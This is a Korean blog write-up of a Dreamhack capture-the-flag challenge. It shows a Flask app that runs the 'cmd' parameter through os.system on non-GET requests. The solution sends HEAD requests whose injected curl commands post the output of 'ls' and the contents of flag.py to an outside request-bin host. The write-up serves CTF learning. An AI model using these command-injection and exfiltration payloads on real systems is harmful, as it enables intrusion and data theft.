문제 페이지에 접속하면 아무것도 없다..
URL에 os command injection 명령어를 입력해봤지만 문자열을 그대로 보여준다.
문제 파일
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
GET 메소드가 아닌 다른 메소드를 사용하여 cmd에 접근할 수 있는 것 같다.
먼저 사용할 수 있는 메소드 확인을 위해 Burp Suite로 OPTIONS 메소드를 Repeater로 전송해봤다.
이 문제는 HEAD 메소드를 사용해서 풀어야 한다.
Dreamhack Tools의 Request Bin으로 서버를 빌려온다.
https://tools.dreamhack.games/main
dreamhack-tools
tools.dreamhack.games
curl 명령어의 -d 옵션을 사용하여 데이터를 Request Bin으로 가져왔다.
(-d(--data): request body에 데이터를 담을 때 사용)
공백은 +으로 이어준다.
HEAD /?cmd=curl+https://lqpthkh.request.dreamhack.games+-d+"$(ls)" HTTP/1.1
ls 명령어를 통해 확인해보니 플래그는 flag.py에 있을 것이라 생각된다.
HEAD /?cmd=curl+https://lqpthkh.request.dreamhack.games+-d+"$(cat+flag.py)" HTTP/1.1
728x90
'Security > Write Up' 카테고리의 다른 글
[Dreamhack] littlevsbig (0) | 2023.08.28 |
---|---|
[Dreamhack] web-ssrf (0) | 2023.08.28 |
[Dreamhack] Flying Chars (0) | 2023.08.25 |
[Dreamhack] proxy-1 (0) | 2023.08.21 |
[wargame.kr] login filtering (0) | 2023.08.21 |